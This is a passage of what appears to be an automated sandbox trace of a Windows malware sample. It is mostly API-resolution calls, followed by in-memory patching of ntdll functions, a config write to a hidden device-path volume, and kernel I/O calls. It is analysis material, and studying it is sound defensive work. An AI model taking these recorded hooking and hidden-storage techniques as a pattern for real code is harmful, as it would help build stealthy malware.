(hModule=0x772d0000, lpProcName="RegQueryInfoKeyA") returned 0x772de143 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="RegEnumKeyExA") returned 0x772e1481 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="RegCloseKey") returned 0x772e469d [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="GetUserNameA") returned 0x772fa4b4 [0098.725] GetProcAddress (hModule=0x772d0000, lpProcName="OpenSCManagerA") returned 0x772e2bd8 [0098.726] GetProcAddress (hModule=0x772d0000, lpProcName="OpenServiceA") returned 0x772e2bf0 [0098.726] GetProcAddress (hModule=0x772d0000, lpProcName="CloseServiceHandle") returned 0x772e369c [0098.726] GetProcAddress (hModule=0x772d0000, lpProcName="QueryServiceStatus") returned 0x772e2a86 [0098.726] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76300000 [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="GetShortPathNameA") returned 0x7633594d [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="GetShortPathNameW") returned 0x7631d2f9 [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="FindFirstFileA") returned 0x7631e2ce [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="RemoveDirectoryA") returned 0x763944bf [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="FindNextFileA") returned 0x7633d53e [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="FindClose") returned 0x76314442 [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="GetDiskFreeSpaceExA") returned 0x7639434f [0098.726] GetProcAddress (hModule=0x76300000, lpProcName="CopyFileA") returned 0x763358e5 [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="SetFileTime") returned 0x7632ecbb [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="CreateDirectoryA") returned 0x7633d526 [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="GetWindowsDirectoryA") returned 0x76332b0a [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileStringA") returned 0x7632184c [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="GetFileAttributesA") returned 0x76315414 [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="LCMapStringA") returned 0x7633bc39 [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="GetFileAttributesExA") returned 0x7633cc14 [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="FileTimeToDosDateTime") returned 0x7632c86d [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="GetFileSizeEx") returned 0x763159e2 [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="lstrcmpW") returned 0x76315929 [0098.727] GetProcAddress (hModule=0x76300000, lpProcName="RaiseException") returned 0x763158a6 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="GetEnvironmentVariableA") returned 0x763133a0 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="MoveFileExW") returned 0x76329b2d [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="MoveFileW") returned 0x76329af0 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="MoveFileA") returned 0x7638d911 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="SetFilePointerEx") returned 0x7632c807 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="LocalFileTimeToFileTime") returned 0x7633d50e [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="CreateSemaphoreA") returned 0x7633d172 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseSemaphore") returned 0x7632d3ab [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="SetFileAttributesA") returned 0x7632ecd3 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0098.728] GetProcAddress (hModule=0x76300000, lpProcName="GetFileTime") returned 0x76314407 [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="lstrcmpA") returned 0x7632eceb [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleHandleExA") returned 0x7632caa8 [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="ResumeThread") returned 0x763143ef [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="FreeLibraryAndExitThread") returned 0x7632d582 [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="ResetEvent") returned 0x763116dd [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="ExpandEnvironmentStringsA") returned 0x7632eb39 [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemTimeAsFileTime") returned 0x76313509 [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="DeleteFileW") returned 0x763189b3 [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="GetACP") returned 0x7631179c [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="InterlockedExchangeAdd") returned 0x7632d39b [0098.729] GetProcAddress (hModule=0x76300000, lpProcName="FindResourceW") returned 0x76315971 [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="Sleep") returned 0x763110ff [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="OpenMutexA") returned 0x7632ec6f [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemDirectoryA") returned 0x7632b66c [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="FormatMessageA") returned 0x76335fbd [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="SetErrorMode") returned 0x76311b00 [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="lstrcmpiW") returned 0x7632d5cd [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="DosDateTimeToFileTime") returned 0x7632effe [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="UnmapViewOfFile") returned 0x76311826 [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="SetEndOfFile") returned 0x7632ce2e [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="FlushViewOfFile") returned 0x7633b909 [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="MapViewOfFileEx") returned 0x76314c83 [0098.730] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileMappingA") returned 0x76315506 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="OpenFileMappingA") returned 0x76314c1b [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryW") returned 0x7631492b [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="HeapFree") returned 0x763114c9 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="HeapAlloc") returned 0x77e5e026 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="GetProcessHeap") returned 0x763114e9 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="GetTimeFormatW") returned 0x7632f481 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="GetDateFormatW") returned 0x763334d7 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="GetComputerNameA") returned 0x7632b6e0 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="GlobalUnlock") returned 0x7632cfdf [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="GlobalLock") returned 0x7632d0a7 [0098.731] GetProcAddress (hModule=0x76300000, lpProcName="QueryPerformanceCounter") returned 0x76311725 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="UnhandledExceptionFilter") returned 0x7633772f [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="FindResourceExW") returned 0x76313299 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="LoadResource") returned 0x7631594c [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryExW") returned 0x7631495d [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="MapViewOfFile") returned 0x763118f1 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileMappingW") returned 0x76311909 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="GetVersionExW") returned 0x76311ae5 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemDefaultUILanguage") returned 0x76332b22 [0098.732] GetProcAddress (hModule=0x76300000, lpProcName="GetUserDefaultUILanguage") returned 0x763144ab [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="SearchPathW") returned 0x7632cd70 [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="CreateActCtxW") returned 0x76319247 [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseActCtx") returned 0x763154c1 [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="ActivateActCtx") returned 0x76315490 [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="DeactivateActCtx") returned 0x7631545c [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="SetFileAttributesW") returned 0x7632d4f7 [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="CompareFileTime") returned 0x76311b25 [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="WritePrivateProfileStringW") returned 0x7633640c [0098.733] GetProcAddress (hModule=0x76300000, lpProcName="GetFileAttributesW") returned 0x76311b18 [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="GetOverlappedResult") returned 0x7632cc79 [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventW") returned 0x7631183e [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemDirectoryW") returned 0x76315063 [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="GetQueuedCompletionStatus") returned 0x7632d3c3 [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleHandleExW") returned 0x76314a6f [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="CreateIoCompletionPort") returned 0x7632eef2 [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="SwitchToThread") returned 0x7632efec [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="PostQueuedCompletionStatus") returned 0x7632ef29 [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="CreateMutexW") returned 0x7631424c [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="DuplicateHandle") returned 0x76311886 [0098.734] GetProcAddress (hModule=0x76300000, lpProcName="OpenMutexW") returned 0x76315151 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="OpenEventW") returned 0x763115d6 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="LockResource") returned 0x76315959 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="SizeofResource") returned 0x76315ac9 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="MoveFileExA") returned 0x7633ccc1 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="CreateThread") returned 0x763134d5 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="GetProcAddress") returned 0x76311222 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryA") returned 0x763149d7 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="FreeLibrary") returned 0x763134c8 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="InterlockedExchange") returned 0x76311462 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="CloseHandle") returned 0x76311410 [0098.735] GetProcAddress (hModule=0x76300000, lpProcName="GetLastError") returned 0x763111c0 [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="SetLastError") returned 0x763111a9 [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="EnterCriticalSection") returned 0x77e522b0 [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="LeaveCriticalSection") returned 0x77e52270 [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="CompareStringW") returned 0x76313bca [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObject") returned 0x76311136 [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="WideCharToMultiByte") returned 0x7631170d [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="MultiByteToWideChar") returned 0x7631192e [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="CreateEventA") returned 0x7631328c [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="CreateMutexA") returned 0x76314c6b [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="CompareStringA") returned 0x76313c5a [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseMutex") returned 0x7631111e [0098.736] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="LocalFree") returned 0x76312d3c [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="LocalAlloc") returned 0x7631168c [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="DeleteCriticalSection") returned 0x77e645f5 [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="SetEvent") returned 0x763116c5 [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="InterlockedIncrement") returned 0x76311400 [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="lstrcmpiA") returned 0x76313e8e [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="lstrlenA") returned 0x76315a4b [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="InterlockedDecrement") returned 0x763113f0 [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleFileNameW") returned 0x76314950 [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76311916 [0098.737] GetProcAddress (hModule=0x76300000, lpProcName="LocalReAlloc") returned 0x763159bf [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="FileTimeToSystemTime") returned 0x7631542c [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="ReadFile") returned 0x76313ed3 [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="GetFileSize") returned 0x7631196e [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileA") returned 0x763153c6 [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileW") returned 0x76313f5c [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="SetFilePointer") returned 0x763117d1 [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="WriteFile") returned 0x76311282 [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleFileNameA") returned 0x763114b1 [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="GetVersionExA") returned 0x76313519 [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="WritePrivateProfileStringA") returned 0x76337048 [0098.738] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleHandleA") returned 0x76311245 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemTime") returned 0x76315a96 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleHandleW") returned 0x763134b0 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="FormatMessageW") returned 0x76314620 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="DeleteFileA") returned 0x76315444 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="GetLongPathNameA") returned 0x7639437f [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="lstrlenW") returned 0x76311700 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="GetLongPathNameW") returned 0x7631a315 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="GlobalFree") returned 0x76315558 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="IsValidCodePage") returned 0x76314493 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="IsDBCSLeadByte") returned 0x76311748 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0098.739] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThread") returned 0x763117ec [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="InterlockedCompareExchange") returned 0x76311484 [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="GlobalAlloc") returned 0x7631588e [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="GetLocaleInfoW") returned 0x76313c42 [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="GetUserDefaultLCID") returned 0x76313da5 [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="GetCPInfoExW") returned 0x7633af0b [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="GetTimeFormatA") returned 0x7633a842 [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="GetDateFormatA") returned 0x7633a959 [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="TlsAlloc") returned 0x763149ad [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="TlsSetValue") returned 0x763114fb [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="TlsGetValue") returned 0x763111e0 [0098.740] GetProcAddress (hModule=0x76300000, lpProcName="TlsFree") returned 0x76313587 [0098.741] GetProcAddress (hModule=0x76300000, lpProcName="GetTickCount") returned 0x7631110c [0098.741] GetProcAddress (hModule=0x76300000, lpProcName="SystemTimeToFileTime") returned 0x76315a7e [0098.741] GetProcAddress (hModule=0x76300000, lpProcName="IsDBCSLeadByteEx") returned 0x7633cf4e [0098.741] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x75a80000 [0098.741] GetProcAddress (hModule=0x75a80000, lpProcName="FindWindowW") returned 0x75a998fd [0098.741] GetProcAddress (hModule=0x75a80000, lpProcName="PostMessageW") returned 0x75aa12a5 [0098.741] GetProcAddress (hModule=0x75a80000, lpProcName="RegisterWindowMessageW") returned 0x75a99ebd [0098.741] GetProcAddress (hModule=0x75a80000, lpProcName="LoadStringW") returned 0x75a98eb9 [0098.741] GetProcAddress (hModule=0x75a80000, lpProcName="DialogBoxParamW") returned 0x75abcfca [0098.741] GetProcAddress (hModule=0x75a80000, lpProcName="GetDesktopWindow") returned 0x75aa0a19 [0098.741] GetProcAddress (hModule=0x75a80000, lpProcName="SendDlgItemMessageA") returned 0x75abc112 [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="LoadIconA") returned 0x75a9dafb [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="LoadImageA") returned 0x75aa8455 [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="LoadStringA") returned 0x75a9db21 [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="CharLowerA") returned 0x75aa3e75 [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="DestroyWindow") returned 0x75a99a55 [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="KillTimer") returned 0x75a979db [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="EnableWindow") returned 0x75aa2da4 [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="SetWindowTextW") returned 0x75aa20ec [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="GetDlgItem") returned 0x75abf1ba [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="SetFocus") returned 0x75aa2175 [0098.742] GetProcAddress (hModule=0x75a80000, lpProcName="EndDialog") returned 0x75abb99c [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="CheckDlgButton") returned 0x75abbe9a [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="SendMessageW") returned 0x75a99679 [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="SendMessageA") returned 0x75aa612e [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="IsDlgButtonChecked") returned 0x75abc0a6 [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="DefWindowProcA") returned 0x77e724e0 [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="SetWindowLongA") returned 0x75aa6110 [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowLongA") returned 0x75a9d156 [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="RegisterClassW") returned 0x75a98a65 [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="CreateWindowExW") returned 0x75a98a29 [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="SetTimer") returned 0x75a979fb [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowTextW") returned 0x75aa205e [0098.743] GetProcAddress (hModule=0x75a80000, lpProcName="MessageBoxW") returned 0x75aefd3f [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="CharNextA") returned 0x75a97a1b [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowInfo") returned 0x75aa1bbf [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="CharToOemA") returned 0x75aa4fee [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="CharUpperA") returned 0x75a9fdca [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="CharLowerW") returned 0x75a97647 [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="IsCharAlphaNumericA") returned 0x75aa6867 [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowThreadProcessId") returned 0x75a991b4 [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="EnumChildWindows") returned 0x75aa0e94 [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="IsWindowVisible") returned 0x75aa112d [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="GetAncestor") returned 0x75a99785 [0098.744] GetProcAddress (hModule=0x75a80000, lpProcName="EnumWindows") returned 0x75a9d1cf [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="CharNextExA") returned 0x75af4da0 [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="PostMessageA") returned 0x75aa3baa [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="IsWindow") returned 0x75a97136 [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="SetWindowPos") returned 0x75a98e4e [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="SetDlgItemTextW") returned 0x75abcfa0 [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="DestroyIcon") returned 0x75aa49b2 [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="SetForegroundWindow") returned 0x75abf170 [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindow") returned 0x75a9926e [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowRect") returned 0x75a97f34 [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="EqualRect") returned 0x75aa0988 [0098.745] GetProcAddress (hModule=0x75a80000, lpProcName="IntersectRect") returned 0x75aa0903 [0098.746] GetProcAddress (hModule=0x75a80000, lpProcName="ReleaseDC") returned 0x75a97446 [0098.746] GetProcAddress (hModule=0x75a80000, lpProcName="GetDC") returned 0x75a972c4 [0098.746] GetProcAddress (hModule=0x75a80000, lpProcName="SendDlgItemMessageW") returned 0x75abd0f5 [0098.746] GetProcAddress (hModule=0x75a80000, lpProcName="LoadImageW") returned 0x75a9fbd1 [0098.746] GetProcAddress (hModule=0x75a80000, lpProcName="GetSystemMetrics") returned 0x75a97d2f [0098.746] GetModuleHandleA (lpModuleName="urlmon.dll") returned 0x777e0000 [0098.746] GetProcAddress (hModule=0x777e0000, lpProcName=0x1a7) returned 0x778136ad [0098.746] GetProcAddress (hModule=0x777e0000, lpProcName=0x1a0) returned 0x77802d27 [0098.746] GetProcAddress (hModule=0x777e0000, lpProcName=0x1a6) returned 0x77802d5d [0098.746] GetProcAddress (hModule=0x777e0000, lpProcName=0x197) returned 0x77888507 [0098.747] GetProcAddress (hModule=0x777e0000, lpProcName=0x19e) returned 0x777ebff9 [0098.747] GetProcAddress (hModule=0x777e0000, lpProcName=0x19a) returned 0x777f6169 [0098.747] GetProcAddress (hModule=0x777e0000, lpProcName=0x198) returned 0x77813669 [0098.747] GetProcAddress (hModule=0x777e0000, lpProcName=0x1a5) returned 0x77802d77 [0098.747] GetModuleHandleA (lpModuleName="iertutil.dll") returned 0x77510000 [0098.747] GetProcAddress (hModule=0x77510000, lpProcName=0x20) returned 0x77512add [0098.747] GetProcAddress (hModule=0x77510000, lpProcName=0x21) returned 0x7767cb97 [0098.747] GetProcAddress (hModule=0x77510000, lpProcName=0x25) returned 0x7767e410 [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x32) returned 0x77653baf [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x3a) returned 0x77681b29 [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x9) returned 0x776d6136 [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x10) returned 0x776db761 [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x29e) returned 0x7767d975 [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x28e) returned 0x77675abb [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x28b) returned 0x776530d5 [0098.748] GetProcAddress (hModule=0x77510000, lpProcName=0x28a) returned 0x7761f1e6 [0098.749] GetProcAddress (hModule=0x77510000, lpProcName=0x11) returned 0x7765f6e7 [0098.749] GetProcAddress (hModule=0x77510000, lpProcName=0x2ad) returned 0x776e00e2 [0098.749] UnmapViewOfFile (lpBaseAddress=0x1020000) returned 1 [0098.753] CloseHandle (hObject=0x144) returned 1 [0098.753] CloseHandle (hObject=0x140) returned 1 [0098.947] NtFreeVirtualMemory (ProcessHandle=0xffffffff, BaseAddress=0x101fa28*=0x1220000, RegionSize=0x101fa44, FreeType=0x8000) returned 0x0 [0098.950] GetModuleHandleA (lpModuleName="ntdll") returned 0x77e30000 [0098.950] RtlImageNtHeader (BaseAddress=0x77e30000) returned 0x77e300d8 [0098.950] RtlImageDirectoryEntryToData (in: BaseAddress=0x77e30000, MappedAsImage=1, Directory=0x0, Size=0x101fa14 | out: Size=0x101fa14) returned 0x77e401f8 [0098.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x210000 [0098.950] VirtualProtect (in: lpAddress=0x77e40134, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101fa14 | out: lpflOldProtect=0x101fa14*=0x20) returned 1 [0098.950] VirtualProtect (in: lpAddress=0x77e40134, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101fa14 | out: lpflOldProtect=0x101fa14*=0x40) returned 1 [0098.950] RtlImageNtHeader (BaseAddress=0x77e30000) returned 0x77e300d8 [0098.950] RtlImageDirectoryEntryToData (in: BaseAddress=0x77e30000, MappedAsImage=1, Directory=0x0, Size=0x101fa14 | out: Size=0x101fa14) returned 0x77e401f8 [0098.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x220000 [0098.950] VirtualProtect (in: lpAddress=0x77e50028, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101fa14 | out: lpflOldProtect=0x101fa14*=0x20) returned 1 [0098.950] VirtualProtect (in: lpAddress=0x77e50028, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101fa14 | out: lpflOldProtect=0x101fa14*=0x40) returned 1 [0098.951] RtlImageNtHeader (BaseAddress=0x77e30000) returned 0x77e300d8 [0098.951] RtlImageDirectoryEntryToData (in: BaseAddress=0x77e30000, MappedAsImage=1, Directory=0x0, Size=0x101fa14 | out: Size=0x101fa14) returned 0x77e401f8 [0098.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2a, flAllocationType=0x3000, flProtect=0x40) returned 0x270000 [0098.951] VirtualProtect (in: lpAddress=0x77e4fe04, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x101fa14 | out: lpflOldProtect=0x101fa14*=0x20) returned 1 [0098.951] VirtualProtect (in: lpAddress=0x77e4fe04, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x101fa14 | out: lpflOldProtect=0x101fa14*=0x40) returned 1 [0098.951] GetCurrentThreadId () returned 0x5a4 [0098.951] GetCurrentProcessId () returned 0x50c [0098.951] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0xa50590, Length=0x10000, ResultLength=0x101fa2c | out: SystemInformation=0xa50590, ResultLength=0x101fa2c*=0x60b8) returned 0x0 [0098.951] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x510) returned 0x140 [0098.951] ResumeThread (hThread=0x140) returned 0x1 [0098.951] CloseHandle (hObject=0x140) returned 1 [0098.952] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x584) returned 0x140 [0098.952] ResumeThread (hThread=0x140) returned 0x1 [0098.952] CloseHandle (hObject=0x140) returned 1 [0098.952] OpenThread (dwDesiredAccess=0x1f03ff, bInheritHandle=0, dwThreadId=0x5ac) returned 0x140 [0098.952] ResumeThread (hThread=0x140) returned 0x1 [0098.952] CloseHandle (hObject=0x140) returned 1 [0098.952] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x18533) returned 0x942ae1 [0098.952] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0098.952] WritePrivateProfileStringA (lpAppName="cmd", lpKeyName="version", lpString="0.31", lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 1 [0098.952] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0098.952] KeEnterCriticalRegion () [0098.952] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0098.952] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0098.952] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0098.952] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: 